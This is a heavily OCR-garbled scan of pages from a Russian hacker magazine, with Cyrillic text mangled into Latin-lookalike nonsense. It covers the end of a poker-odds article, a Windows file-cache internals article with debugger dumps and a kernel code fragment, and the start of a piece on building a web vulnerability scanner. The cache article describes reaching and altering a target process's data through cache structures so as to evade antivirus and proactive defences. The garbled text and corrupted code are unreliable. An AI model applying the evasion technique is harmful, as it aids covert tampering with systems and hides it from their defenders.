3)CpaBHHTb CBO~ KOM611HaQl1D C KOM611HaUl1RMM Jlpyrux l1rpOKOB; 4)EClll1 Hama KOM611HaUl1R rry~maR, TO np115aBllHeM K KOlll1'-leCTBY BbI11- r-pamrux paYH,IJ;OB 11 <KOJIJ1'-leCTBO l1rpOKOB C TaKoM ~e KOM6MHaUl1eM>; 5)IToBTOpReM marY- 1-4 HylliHoe KOJIl1'-leCTBO pa3;

6) BepoHTHoCTb BblJ1rpbI-

ma pe axa <Kon-BO aaar-pe.uaeax paYH,lloB>I<o6mee Kon-BO payH)lOB>.

K KO,lJ,y $=I npanoxnn unit-recru, TaK YTO MO>KHO cpasy npoaepars paticrocuocob-rocn, scex MeTO,lJ,OB.

XAKEP 06 /137/ 10

3AKnlOYEHHE

B npuuuane. onVlcaHHYIO SepO$=lTHOCTb yxe MO>KHO ltfcnOnb30BaTb Ami ltfrpbl B noxep

B VlHTepHeTe. MO>KHO paaurpsraars pyKVl, BepOSHHOCTb aunrpuuia KOTOPblX AocTaT04- HO BbICOKa. ,Qns:! aroro )l HanVlcan npocrosi KanbKyn)lTOp, KOTOPblL1 Ha oc uoae ka p'r Ha pyxa x Vl Ha crone. a TaK>Ke KOm1yeCTSe VlrpOKOB BblYltICn~eT BepO),HHOCTb Bblttlrpblwa. KCTaTVl, TaKII1X KanbKYJl)lTOPOB B CeTVi MHoro Vl OHVl fione e CPYHKLJ,1I10HanbHbl. npOMop,enVlpOBaB cv1Tyau,wlO C HeCKonbKWMVl lt1rpOKaMVl W op,II1HaKOBbIMVl KapTaMw, MO)!(HO 3aMeTVlTb, 4TO C YBenVl4eHVleM

KonVl4eCTBa nrpoxo a Bepo~THOCTb Bbllt1rpblwa YMeHbWaeTC$1. Bce npaBVlJlbHo: yeM 60JlbWe lt1rpOKOB, TeM 60nbwe aeponrHOCTb, YTO Y onnOHeHTOB KapTbl 6YAYT ny-uue: yeM y Hac. ECTb ill paAOCTHa~ HOBOCTb - see 3TO ypaBHVlSaeTC)l pa3- MepOM 6aHKa, nOCKonbKY OH TO>Ke 6YAeT fionsure. EcnVl BCnOMHII1Tb cpopMyny lp tpot

= win), TO nonY4111M YMeHbweHllle p C yBenll14eHilleM pot, TO eCTb Senll14111Ha win OCTaeTC)l He1ll3MeHH0L1. Ecnlll Tbl 6yp,ewb Vlcnonb30BaTb senlll4VlHY p s nr oe 6e3

Y4eTa paa-iepa 6aHKa, TO CTaBb KOJlll14eCTBO IIlrpOKOB paBHblM 2, 4T06bl 3TOT napa-ierp He Bm1$=1n Ha pac+e r. Ha 3TOM $1 n pennar ato H3 CerOAH)l 3aKpyrnVlTbC$=I, a ecnVl rebe [HelnoHpaBVlJlOCb Vl Tbl [Hel>Kenaewb npoAomKeHVl~ TeMbl KOAltfHra noxepuux 60TOB

B cneAYIOLl.\IIlX ][ - npVlcblnai1 CBOI;1 OT3blBbi MHe" p enakropy py6p"K" lalexanderfd real.xakep.ruJ. ECJlIll Tbl, rocnoAIIlH Haw, YVlTaTenb, Vl3b$1BVlWb c ace »ce na+uie. TO B Cne,Ll,YfOw,eM HOMepe Mbl onVlweM HeCKOJlbKO ar ropv r vo s An)l npVlH$=ITVl)l peweHVli1 III CAenaeM C"Myn"TOp ur pu B Texas Holdem No Limit Poker, B KOTOPOM 6YI\YT "rpaTb 3Tlt1 noxepuue anrOplt1TMbl. ::x:

A50HEHT BCEr,QA B BbILilrPbIWE!

~ 095

•• Anecc aan p 3KKepT stannic.manragmail.co

Ha6nlO.o.aTenbHblH npOrpaMMHCT MO>KeT 3aMeTHTb, LITO pa3pa6oTlIHKH Windows OTKa3blBalOTCH JJ.oKYMeHTHpoBaTb caMble BKycHble H COllHbie MeCTa HHTep£lleHca .o.aHHoH DC. H He HanpaCHO - TaM CKpblTbl nOHCTHHe 6eClJ,eHHble COKpOBH[Ua. OT KOTOPbIX, K TOMY >Ke, 3aBHCHT 6e30naCHoe £IlYHKlJ,HOHHpOBaHHe OnepalJ,HOHHOH CHCTeMbl.

H 0, KaK Vl3BeCTHO, 3anpeTHblC1 nncn cnaac«. V1 n03TOMY OT4asmHbie CMenb4aKVI spone Hac C T060[;1 800pY>KaKHCI1 ge6arrepaMVI, ornaa- 4V1KaMIII III np04111MV1 YAV1BV1TenbHbIMV1 V1306peTeHV1I1MV1 4eJ10BeyeCTSa B 3TOiil crarse noroaopav 0 TaKO[;1 Man01tl3Y4eHHoiil, C TOYKW 3peHI-111 CIIICTeMHoro nporpauwncra VlnVl BVlpMeiilKepa, seuu-. KaK K3W cpaiilnOBoill CVlCTeMbl Windows

HAYHEM-C ...

\!1TaK, YTO TaKOe K3W Windows? K3W V1J1 111 , npaauneuee, K3W cpa[;1J1oBoC1 CII1CTeMbl, npencraar ser c060iil coaepure-u-o np03paLJHYlD )],1111 n011b30- aaTe1111 lI111V1 nporpa-u-racra CWCTeMY, KOTOpal1 HaxogVlTcl1 rac-ro Me>K,lJ,Y cpatlinoBoiil clI1CTeMoiil VI BV1pTya11bHoiil naMs:iTblO ac. COCTOIH OH 1113 Ha60pa CPYHKLJ,V1ii1I1,lJ,pa lI1 ClI1CTeMHblX nOToKoB, «orops.e BMeCTe C nacnervepoc

XAKEP 06 /137/10

.======~"""""""""""""""L- ~

Ikd> dt nt!_VACB Ox86faceOO

+OxOOO BaseAddress : Oxd4680000

+Ox004 SharedCacheMap : Ox86413008

+Ox008 Overlay _unnamed

+Ox010 LruList : _LlST _ENTRY [Ox86facfa8 - Ox86facfcO ]

AaHHbie 6YAYT HaXOAIIITbCSI no anpecy oxd468oooo

Ikd> dt _Section_object_pointer Ox85e7a334 nt!_ SECTION_ OBJECT _POINTER +OxOOO +Ox004 +Ox008

DataSectionObject

SharedCacheMap :Ox862f5978

ImageSectionObject : (null)

CTpYKTypa SECTlON_OBJECT_POINTER

naMRH1 o6eCne4111BalOT K3WlIIposaHlIIe ,o.aHHblX AJl$1 acex Apa"BepOB ¢a"nOBbIX C"CTeM Windows. B nepayio o-iepens K3W npeAHa3Ha4eH AJlS1 ysenVl4eHlIIs:I np0V13BO,D,IHeJlbHOCTlII OnepaLJ,VlOHHO~ CVlCTeMbl sa c-rer r oxansuoro XpaHeHlI1R (K3WlI1PO'S3HVlR] rex AaHHbIX, K KOTOPblM yaCTO ofipauiaorca nOJlb30SaTeJlbCKlIIe nporpaMMbl III nO,lJ,G1CTeMbl nnpa DC, a TaK>Ke, COOTBeTCTseHHD, ,QJl51 CHlII>KeHVls:! Ko.nt.'14eCTSa o6paw,eHl!I~ K >KeCTKoMY AVlCKy. III Be,lJ,b sepuo - craanapruas npouenypa BBOAa-BbIBOAa, aarparuaaiouiaa npawce ofipauieane K >KeCTKoMY AVICKY - ,lJ,OBOJlbHO TpY,lJ,OeMKaR onepauas. KaK

C T04KIt1 3peHIt1$1 CKOPOCTIt1/speMeHIt1, TaK V1 C TOlJKIt1 3peHIt1$1 np0I-13S0AI-1TenbHOCTIt1. V1 ryr neno naxe He s CKOPOCTlt1 spaw,eHlt1$1 At.1CKOB HOD V1nVl npcnyckuou cnOC06HOCTt.1 Wlt1Hbl.

B cospeMeHHblX ycnoeunx. «orna onepauuouuof Clt1CTeMe npuxonurcs BbInOnH$1Tb COTHVl onepauuf B cexyuny, TaKOtII nOAXOA [np$1MOe lJTeHlt1e/3anlt1Cb gaHHblx Ha >KeCTKlt1t11 ,o,lt1CK 5e3 lt1CnOnb30BaHW$1 K3WlI1pOBaHt.1s:1 AaHHblx) Sblrn$1,o,VlT ManogetllcTBII1TenbHblM.

HasepHoe, $1 He corpewy nporua lt1CTlt1Hbl, 3as:1Blt1S, lJTO npakTW1eCKt.1 BC$1 paoora ¢atllnOBOtll Clt1CTeMbl TaK lt1nlt1 t.1Haye 3aSR3aHa Ha ee «sure. npvt 3TOM pafioraer OH AOCTaTo4Ho caoeofipasao: cua-iana nonHOCTblO 3acOpReTC$1, nocne

-rero HaYVlHaeT OCB060)f(AaTb AnSi ce6R oneparuauyro naM$1Tb, cfipacuaas pabo-uie npltlnO)f(eHlt1$1 S ¢aVin nOAKaYKlt1. 3TO cVlnb·Ho CHltI)f(aeT CKOPOCTb pacoru Clt1CTeMbl, oco5eHHO ecnu Ha KOMnblOTepe ycrauoaneuo MeHee 128 M6 03Y [VlHTepecHo, TaKl-1e ew,e oCTam1cb?J. MVlPVlTbC$1 C 3TVlM MO)f(HO, ronsso ecnu Ha TBOetll 6oesotll MaWVlHe He MeHbwe rVlra6atllTa naM>iTVI. EcnVl MeHbwe, TO npofiner-ra OKa3bIBaeTCs:l ,lJ,OBOnbHO cepueauofi. Y AVlCneTyepa K3wa ec'n, O,lJ,HO Heo6bl4Hoe CBOtllCTBO ~ '-IaCTb K3Wlt1pyeMblx ,D,aHHbIX ,D.eCiCTBVlTenbHO H3XO,lJ,lt1TCs:l 8 cplt13lt1LJeCKOtll naM$1n1. Bce gena B TOM, '-ITO ,lJ,lt1CneT4ep obpauiaerca K gaHHblM, npceuapys "X npencraaneuun [mapping filel C nOMOUjblO craanapruux Clt1CTeMHbIX Bbl30BOB WinAPI.

XAKEP 06 /137/10

:Ox8563c828

Op,HOtll 1113 rnaSHblX ¢YHKU,V1Ci ,lJ,\I1CneTyepa K3wa s:lSns:leTCS1 TO, YTO OH ,lJ,OmKeH rapaurupoaars nlO60MY npou,eccy, KOTOPblCi n srrae rcn nonYYII1Tb K3Wlt1pyeMble AaHHble, cavyio nOCfle,D,HIOIO sepc mo 3TVlX ,lJ,aHHbIX. ECJllt1 Tbl cepbe3HO 3aHlI1MaeWbCR npOrpaMM\I1pOBaHlI1eM, TO >i ysepen, YTO Tbl 3HaeWb 06 3TOtll npofine ne He nonacnuurcc. np06neMa 3aKnlO'-IaeTC$1 s O,lJ,HOSpeMeHHOM \I1cnOflb30- SaHlt1Vl O,lJ,H\I1X V1 rex xe pecypcos pa3HblMvt npoueccavn [nOTOKaM"i.

)J.n$1 ofiuier o CBe,o,eHII1s:l CTOtH OTMeTV1Tb, YTO ,lJ,ltlCneT'-Iep kaura cnocobea K3WI-1pOSaTb He ronsxo cpaC1nbl, HO 1-1 nOTOKlt1 ,lJ,aHHbIX - nocnegoBaTenbHOCTI-1 6atllTOB B ¢aCine. Xapaxrepuoa oco6eHHOCTblO xaura rakxe $1BnReTC$1 TO, 4TO Y Hero HeT coficr ae auoro paSovero -rafiopa ~ OH Vlcnonb3yeT o6w,1I1111 CV1CTeMHblll1 Ha60p, s KOTOPbl1l1 BXO,o.$1T K3W ,o.aHHbIX, nyn nOAKa\.1lI1BaeMOIl1 naMRTlt1 \11 nonKaYII1SaeMbltll KOg $1Apa 111 Apall1BepOB. B\I1pTyanbHbl1l1 paaue p K3wa He or ofipaxaer ca KaKVlMt.1-nV160 CYeT- 4VlKaMVl npOVl3BO,lJ,VlTenbHOCH1, n03TOMY Y3HaTb ero 3Ha4eHlI1e MO>KHO TOflbKO LJepe3 nepeMeHHYIO $1gpa MmSizeOfSystemCachelnPages. 06blYHO ero pa3Mep

- Ox20000 CTpaH"~. YTO np" crpauaue. paBHo" 4 K6. 6Yl\eT COCTasn"Tb POSHO 512 M6. An" 60"ee TOYHO-

ra oTo6pa)f(eHII1R rioru+or o 06beMa ¢ai1noBblx ,lJ,aHHbIX, K3Wl-1pyeMblx s ClllCTeMe, cTaHAapTHblCi «)J,VlcneTyep aana-r» Windows noxaaueaer napauerp «CII1CTeMHbltll K3W», OTpa>KalOw,lt1t11 cYMMapHblVl paswep Clt1CTeMHoro pabc-rero Ha60pa \11 cnVlCKOB npOCTaIt1SalOUJ,VlX Vl MO)J,VI¢1I1L.J,lt1pOBaHHblx CTpaHlt1LJ,.

JlE3EM BrJlY6b

AnR OTCne)f(lt1SaHVlR Vl3MeHeHVlVI 8 K3Wlt1pyeMblx ¢atllnax AIt1CneTLJep xsu.a ucnon sayer cneLJ,lI1anbHYIO CTPYKTy-

py - Virtual Address Control Block [VACBI. KOTOpa" onacsraaer Ka>KAblill 256-KV1n06aVlTHblw cncr xsuia.

~ dvd

Ha ,lJ,I!1CKe Tbl HaCiAeWb copuu "3 "Apa Windows. peanuayrouiue B3alt1MOAetllCTBVle C K3weM, COpLJ,bl npajiaepos. xoropue peanlt13YIOT YKa3a H Hble B era tee ¢ltl '-Ilt1 , a raK>Ke MHOro npyrux BKyCHocre!71.

~ links

An$1 c o ae pure ac r eoBaHlt1R CBOlt1X HaSblKOB pabcru C ¢aVlnoSblM K3weM Windows COBeTYfO no cer nr s www.osronline ... £Qm. HeCMOTp$1 Ha TO, 4TO o5w,ee u a np a an eHVle c ajrra ~ nporpaMM\I1pOSaHVle

B "Ape. 60nbWa" '-IaCTb MaTepV1aJlOB nOCS"UjeHa paspa- 60TKe Apa"sepos "¢"nbTpOS ¢a"nOSbIX Clt1CTeM. K CO>KaneHIt1IO, Ha aHrnVltllCKoM.

~ info

K~cerAa. An" paspa60TKV1 ApaCisepos lt1lt1X OTJlaAKIt1, Ka4aiil nocnen-noio sepccuo WDKbllilJL_dg_wnLqgd. l1Jicro~Qft..(_Qm

$al1!1 napaM€:Tpbl Bf1A saeepueaae pa60Tbi Cnpeece

[256772 355272

Iloxaaarem, paanepa Cl1CTeMHOrO K3Wa B Windows

npVi 3a;pY3Ke CVlCTeMbl ,D,VlCneTyep 3a5111paeT yaCTb HenO,D,KaYlIIBaeMOVl naMSHiIl CiIlCTeMbl ncn CBOIll Hy>K,D,bl, TO e cr s r ozi paav euie+ure VACB. Al1pec MaCC"Ba VACB COXpaH"eTC" B nepeMeHHOf1 CcVacbs. Fl p a aanpo c e Ha -rr e au e AaHHblX 1113 KaKOrO-nIl160 cpailtna ,o,II1C-

ne r-rep K3wa ,D,On>KeH o re e nar s Ha ABa a onpo c a HaXOAII1TOl

nll1 cpailtn B ka uie , ill KaKlI1e VACB cr una crc s Ha 3anpoweHHbliit anp e c. ,D,pyrlllMlII cnosaMVi, ,D,l>1CneTyep ,o,on>KeH Bbl~CHII1Tb, np o e-

3KcnopT Cl1CTeMHblX CPYHKl..Il1~ SlApa AJISI pa60Tbi C K3WeM

uu pve r c a nl>1 np enc r a an e au e cpailtlla Ha CI!1CTeMHblw K3W . .011$1

y-re r a npeACTasneHl!1i1t ,D,aHHOrO cpailtJla ,o,II1cneT4ep k a ura norine p>KII1BaeT CneLJ,Vl8nbHblw MaCCII1S YK83aTeneilt ua VACB . Ilane e yrny- 6n~Tbcs:J s crpyxrypy «aura He II1MeeT CMblcna, oaa Cnll1WKOM cno xH8, 111 ,lJ,ns:J ee OnIl1CaHII1s:J npOCTO He XBaTl>1T HII1 MeCTa, HW BpeMeHW. Ecnl>1 l>1HTepeCHo, orc suiaio Te6s:J K KHlI1re «Buyrp e uue e yCTPO~CT80 Windows» OT npll13HaHHbix 3HaTOKOB 3TOV! onepaLJ,l>10HHOill CVlCTeMbl M.PyCC~HOB"ya " ilConoMoHa.

Pa3pa6oT4lt1KY CII1CTeMa npeuocraanaer pS1,D, nepeMeHHblx 1II CPYHKU,101V1, Henocpe,n,cTseHHo CBsnaHHblX C CII1CT€MHbIM K3weM. CaMble II1HTepeCHbie Vl3 HII1X - 3TO nepeM€HH8s:J MmSystemCacheStart, KOTopaS1 yxaauaae r Ha HayanbHblV! Blt1pTyaJlbHbliit anpe c K3W8, VI MmSystemCacheEnd, YKa3blsaKlUJ,al=l Ha ero KOHe4HblV! a,o,pec. MmSystemCacheWs aepue r HaM CYMMapHblf1 pa3Mep C"CTeMHOro pafio-rer o Ha6opa. Bonpoc .nl-1Wb S TOM, KaK nony-u.r s 3HayeHVle 3Tl>1X nepeMeHHblX. I!1x [K8K Vi KY4Y ,lJ,pyrll1x He MeHee V1HTepeCHbIX nepeMeHHblX, OT KOTOPblX 3aSIo1CIo1T pabo r a CII1CTeMbd MO>KHO HaVlTIo1 B crpyxryp e KDDEBUGGER_DATA32. Ecn" neHb "CKaTb B CeT", MO>KeWb noxonar scn Ha ,n,lt1CKe - TaM ne xar copuu ,n,paiilsepa, KOTOPblVl pe anuayer HY>KHbIW rebe KO,o, 111 MO>KeT no caasraar s 3Ha4eHl>1rl p enkux Cl>1CT€MHbIX nepeMeHHblx.

OCHoBHble CPYHKLI,ViIll pa60Tbi C Clt1CTeMHbIM K3weM - CcCopyRead, CcCopyWrite " "X 60nee 6blCTpble auanor« CcFastCopyRead

111 CcFastCopyWrite. OTm14we 3TlIlX cjJYHKLI,lt1lil B TOM, 4TO CcFastCopyRead " CcFastCopyWrite OrpaH"YeHbl "CnOnb30BaH"2M 32-pa3p>1AHbIX cMeUJ,eHl;1~ BHyTpVl cpaiilna t.1 CVlHxpoHHoro L.JTeHl;1>1/ 3anVlCVI.

AV1cneT4ep xsu.a Sb13b1BaeTCI=I ,lJ,paiilBepoM cpalilnosoill CVlCT€Mbl C nOMOUJ,blO YKa3aHHbix CPYHKL(l!liii. K npV1Mepy, npl>1 onepauaa 4TeHVlI=I yepe3 Bbl30B ¢YHK~"f1 CcCopyRead [CcFastCopyRead[ I1"CneTYep C03AaeT npencraaneuae cjJaiiina S xauie ,o,nl=l npoeu,lIIpOBaHII1>1 4aCTlIl aanpo ure aaoro ¢aiina [file mappingJ " CY"TbIBaeT ¢aiinoBble nauHbl B B nOJlb30SaTenbCKl>1~ 6ycjJep, KOnl>1pYI=I IIlX 1113 npencraaneuua. nOCKonbKY ,lJ,pa~sepbl cpaC1nOBblX Cl!lCTeM BblnOJlHl=lIOTC51 B rlApe,

OHl>1 MoryT MO,o,V1CPVlLl,VlpOBaT:l ,lJ,aHHble, HaXO,[lI=lUJ,lIleCS1 B Cl>1CTeM-

HOM ksure. ronsxo c yse,lJ,OMneHlIlR ,.o,VlcneTyepa kauia . .o.nrl ar or o

np enycwo rpe au rakue ¢YHK~"" KaK CcMapData, CcPinRead, CcPreparePinWrite 111 AP., «oropue n03BOMHOT HaXOAII1Tb l!l MOAV1- cpll1L1,lI1pOSaTb ,lJ,aHHble B BlIlpTyanbHoiil naM>1TV1 6e3 II1cnOnb30S8HIIlS1 npOMe>KYTOYHbIX 6y¢epoB.

XAKEP 06 /137./10

Ikd> dt _File_object nt._FILE_OBJECT +OxOOO +Ox002 +Ox004 +Ox008 +OxOOc +Ox010

~'14 ~Q18

85d927a8

:5

:112 :Ox86b78e30 :Ox86b90d80 :Oxe3b62geO :Oxe3b62938

YKa3aTeml Ha PRIVATE_CACHE_MAP ~ SectionObjectPointer

Cyu.e c r aye r TPW OCHOBHblX MeTO,lJ,a no cryns K K3wwpyeMbiM ,lJ,aHHbIM, Ka>K)J,btV! 1113 KOTOPblX paCC4tnaH Ha nplIlMeHeHwe B o np e neneHHoiil c a-ryauww. n p oc ro e xo nn p o a aun e. npo e uctpo aauwe C cpli1KCaLl,lIIei1 1I1 np s uo e ofip auie une K CPlll311l4ECKOW naMS1H1,

nEPEXOJH1M K 60EBbiM .llEHCTBHRM

Hy, MOi/1' nopcr ofi npyr. nocne roro, KaK Tbl n0J1YLH1J1 s e c ov o e npencra ane-ure 0 TOM, 4TO raxoe 01CTeMHbltll K3W, B03HlIIKaeT pe30HHblV! aonpoc: 3a4eM Bee 3TO HY>KHO, 1II KaK Bee 3TO MO>KHO lIlcn0J1b30BaTb B caov ue.nsx?

npOCTO n opaawetcnvt caM - ace ,lJ,aHHble, KOTOPblM\Il n poue ccei 06tv1eHlI1SafOTCS1 npyr C noyro«: T3K t.1J1V1 lI1Ha4e 6YAYT XpaHlI1TbCR

B CVlCTEtv1HOM K3we. V1 eCJH1 nepex aaruaar s HanpS1MYfO Cl!1CTeMHble CPYHKLJ,(;1V1 p,nS1 nO.D.MeHbl '-lero-J1V160 B a.D.peCHOM npOCTpaHCTBe u,enesoro npou,ecca Y>Ke He koure p uo, TO MaHli1nymlLJ,Wt.1 C .D.aHHbIMt.1 npou,ecca 6e3 n epexaara Ct.1CTeMHbIX CPYHKLJ,wt":t 3aCTaBSH cepseaao 03a,ll,a4t.1TbCS1 np0t.13BO.D.t.1Tenet":t FIPS'OB, aaepos t.1 np04t.1X «veracyne p-u a eopo-reau sx» !cy,lJ,S1 no p ekn a u e] n po r p at-tr-t.

V1 4TO >Ke ,Ll,enaTb? Hy. nepsoe, YTO npWXO,Ll,t.1T Ha yM - nepexaaru rs Ct.1CTeMHble CPYHKLI,t.1t.1, «crop ste V1cnonb3YIOTcl=l AV1cneT4epOM K3wa. Bce OHV1 3KCnOpTt.1pYIOTCl=I l=IAPOM V1 HaYt.1HaIOTCl=I C npecpt.1KCa Cc", n03TOMY rebe He ,Ll,On>KHO COCTaSt.1Tb 60nbworo TPYA3 nponapc-m, Ta6n(;1LJ,y axcnopra t.1 3aMeHlt1Tb 06pa6oT4t.1K(;1 Ha CBOyL Ho 3TO He ecrs rYA. Ta6JH1L1,bl axcncpra snpa. a TaK:>Ke Ba:>KHeVlWVlX ,o,paVlBepas, cxope e ac e ro 6YAYT KOHTpOnt.1pOSaTbCl=l asepaMVl W npOaKTt.1BKaMt.1, n03ToMY t.1X MO,Ll,t.1cpWKaLJ,t.1l=1 He npn-recer Ht.1yerO xopowero. CJ1eAOBaTenbHo, nepexsar CPYH KLI,(;1 111 paficru C K3weM 6Y,Ll,eT HE caMblM nY4WV1M peweH~leM.

Mbl nO"AeM APyrwM nYTeM _ B crpykrype FILE_OBJECT, KOTOpa" C03AaeTCl=I Anl=l Ka>K,Ll,OIll (;1HCTaHu,(;1(;1 B C(;1CTeMe, 6y,Ll,b TO cpaVin, npou,ecc (;1n(;1 ew,e 4TO-H(;16YAb. ecr s YKa3aTen(;1 Ha OyeHb t.1HTepeCHble An" Hac seuru _ 3TO PRIVATE_CACHE_MAP " SHARED_CACHE_ MAP. PRIVATE_CACHE_MAP HaXOA"TC" B caMo" crpycryp e FILE_OBJECT no CMell1eH"1O Ox18. Ilane e HaM Hy>KHO 6YAeT B FILE_OBJECT Ha"T" crpyxrypy SectionObjectPointer, KOTOpa", B CBOIO o-repe.as. no cMew,eH(;11O Ox4 COAep>KV1T yxaaarern, Ha crpyxrypy SHARED_CACHE_MAP.

XAKEP 06 /137/10

nonY4aeM 4>a~noBbl~ 06beKT y HccneAyeMoro npouecca SectionObject = ( PSECTION_OBJECT) FindProcessSectionObject ( pEprocess);

if (MmIsAddressValid(( (PSEGMENT)SectionObject-> Segment)->ControlArea) )

FileObject = ((PSEGMENT)SectionObject->Segment)-> ControlArea->FilePointeri

FileObject = (PFILE_OBJECT)

((ULONG)FileObject & Oxfffffff8);

PRIVATE_CACHE_MAP, KaK TaWBa", "HTepeCa An~ Hac He npe ncraanser bonee V1HTepecHoVl C TOYKV1 3peHVll=I xaxa l=IBnl=leTCl=I crpyxrypa SHARED_CACHE_MAP, nOTOMY "TO "MeHHO OHa no CMell1eH"1O Ox040 COAep>KWT yxaaarern, Ha MaCC"B VACBs, np"HaAne>Kall1"" AaHHOMY npoueccy. nOJlYY(;1B ..o.oC'ryn K VACB, Tbl ¢aKTli1yeCKI<1 CMo>t<eWb KOHTPOJlVlpOBaTb ,lJ,aHHble, np(;1Hap,ne>Kaw,li1e npoueccy, (;1 npV1 He06xo,lJ,V1MOCTV1 t.13MeH):ITb (;1X. KCTaTt.1, ecnt.1 t.1HTepeCHO, Ha3BaHVle ¢aWJla B cpopMaTe UNICODE_STRING, KOTOPOMY np"HaAnelK"T FILE_OBJECT, Tbl CMOxeurs Ha~T(;1 no cMew,eHt.11O Ox030.

rn3BHal=l uens. KaK Tbl nousn Vl3 aeuuecxa saauoro - Ha~Tt.1 YKa3aTenb FILE_OBJECT, np"cYll1"" TOMY "n" "HOMY riooueccy "n" ¢a"ny; OH CO,lJ,ep>KV1T B ce6e see HY>KHble ,lJ,aHHble.

nonHblVl Sap(;1aHT KO,lJ,a Tbl. KaK acerna, CMO:>KeWb HaVlTt.1 Ha ,lJ,VlCKe.

3AKRI04EHHE

B :no~ crarse V1AeT peYb 0 He COBceM npOCTblX sew,ax. Anl=l OCBOeHlIll=l Marep(;1ana Te5e nOHa,Ll,065=lTCl=I onpe.aene+u+sre 3HaHVl5=l (;1 onsrr nporpavMt.1pOBaHVlS1 B S1,lJ,pe Windows, XOTS1, KaK MHe Ka>KeTCl=I, B ,Ll,aHHOVl crarue HWyerO cnO>KHOrO HeT. MafleHbKV1Vl CO BeT - eCflt.1 xcueun, ,lJ,OCKOHaflbHO pa306paTbCS1 B pafiore cpa~JloBOIII CVlcreMbl Windows 101 cpaVlnoBoro K3wa. 06l=13aTeJlbHO npoY(;1TaVl KHVlry Pa,lJ,>K(;1Ba Harapa «Windows NT File System Internals». HeCMOTp" Ha TO, "TO KH"ra 1997 rona BblnYCKa, cBoeiil aKTyaflbHocTV1 OHa He norepsna ,lJ,0 C(;1X nap.

ynavaoro KOMnVlJlli1pOBaHIoHl, VI A<J npcfiyncr C To6oVl CVlna! X

~ 099

-

Yfl3B~MOCT~ ONLINE

WEB-SERVICES: C03JlAEM OHnA~H-CKAHEP Yfl3BHMOCTE~

.llnSi npH6nH3HTenbHoH ou.eHKH CTeneHH 3al1.\Hl1.\eHHOCTH rern HnH HHoro Be6-pecypca MblliaCTO npH6eraeM K nOMOl1.\H pa3nHlIHbiX CKaHepOB YSl3BHMocTeH - MOHCTpo-npOAYKTOB. Tpe6YHll1.\HX 06S13aTenbHOH YCTaHOBKH Ha KOMnbHlTep. B 3TOH crarse Mbl paCCMOTpHM npou.ecc C03AaHHSI HHCTpYMeHTa. KOTOPblH nonHOCTbHl H3MeHHT rsee npeACTaBneHHe

o npOBeAeHHH aYAHTa Be6-npHnO>KeHHH.

H aufionee nOJlHYIO Kapn1Hy 0 3aw,1IIw,eHHOCH1 TOIl1 \I1J1l11 lIlHOC1 lt1Hq,paCTPYKTYpbl n03B0n5::nOT nony-orrs TOJlbKO KOMnneKCHble MeTO,ll,bl aHam13a. ECJlII1 roaopvrn, 0 sefi-cpene B o6w,eM III ee TeXHOnOr\l1)1X

B lfaCTHOCTlII, TO nonaansnouicc 60JlbWVlHCT80 pacnpocrpaae-n-srx YR3BlIIMOCTeiil 51BJlRIOTCI=I cne)J,CTBV1eM HeKoppeKTHOtll pafioru roro V1J1111 lI1HOro anropurva ¢lIIJlbTpaLl,V1vl BXO,lJ,RUJ,lIIX ,lJ,aHHbIX. He cneu.» 6pocaTb B asropa KaMHt.1, om1CblBaR npl!14l!1Hbl n051BJleHlI151 111 np\l1HLJ,"1nbl o6HapY>KeHltHl [3KCnnyarauan] Y"3B"MOCTeii nina XSS/SQL-inj/PHP-including. HecoMHeHHo, TeXHII14eCKa5=l cropoua ara« nonoouoro rnna 3aMeTHO Bbl)J,ens:leTGI III HanpaBJleHa Ha pa3Hbie o6beKTbl, HO Hac He lIlHTepecyeT 3KcnnyaTall,l!151 fiaroa. Mbl, KaK npVlMepHble aYAVlTopbl/neHTeCTepbl/aAMVlHI!ICTpaTOpbl, 3al!lHTepeCosaHbi s V1X 06HapY>KeHV1V1, a MeTo,.o.bl o6HapY>KeHV15=1, B CBOtO 04epe,Il,b, MO>KHO CSeCTIt1 K npnauvny Bbl51SneHV1R «BHeWTaTHbIX)) cl!lryauV1V1 B paoore qmJ1bTpOB se6-npl!IJ10>KeHV151. A 3TD B03MQ>KHO TOJ1bKO nyreu nepe,.o.a41!1 <P1IIJ1bTPY pa3m14Hbix 8XOp,HbIX ,Il,aHHbIX. KCTaTV1, I!IMeHHO TaK 14 ,ll,ei1- crayior cxauepu Y5138I!1MOCTeV! laa npocrsr MeHR I!IX pa3pa6oT4l!1Kl-11. aHaJ1V1- 31!1PYR n0J1Y4eHHble pesvnsraru MOUl,HblMVI 38pWCTw-!eCKVlMVl aIlrop!t1TMaMIII. Ho VlMeeTCI1 P51A cV1ryau,VlV!, <orna V1cn0J1b30BaHV1e 3H1X VlHCTpYMeHTOB AJ151 Hac He>KeJ1aTeIlbHO. 50J1bWVlHCTBO cepbe3Hbix KOMMep4eCKI!IX npo/J,yKT08 npu CKaHl!lpOBaHIt1V1 uenesoro pecypca OCTaSJ1r1tOT S norax se6-cepsepa aanuc«. O,Il,H03Ha4HO VI,Ll.eHTVI<pVlLJ,VlpytOUI,Vle <paKT CKaHVlpoBaHVlS1, a V1Horp,a

VI ysen. C KOTOPOro OHO npoaonnnocs. 8p5=I,Ll. J1V1 KOMY-TO Hy>KHa Vl3.nVlW-

~ 100

HS1S1 «nonYJ151pHOCTb» 8 kpyrax ap,MVlHVlCTpaLJ,vllll u,enesoro caara. K TOMY >Ke npou,ecc cKaHVlpOBaHVls:l seCbMa pecypcoevo« VI rpebyer speMeHHblx sarpar. B uexoropux cny-rasx 3KBVlBaneHTHbiX ,ll,eHe>KHbIM. A reneps npuwno BpeMS1 npncryrurr-, K C03AaHVlIO It1HCTpYMeHTa, KOTOPblV!, S cvny CBOV1X oco6eHHOCTe~, He It1MeeT BblWeOnll1CaHHblX He,.o.OCTaTKOB V1 6YAeT nocryneu ,[I,nS1 Hac B 8!11p,e Be6-cepB!IICa.

rnA3AMH PA3PA60T~HKA

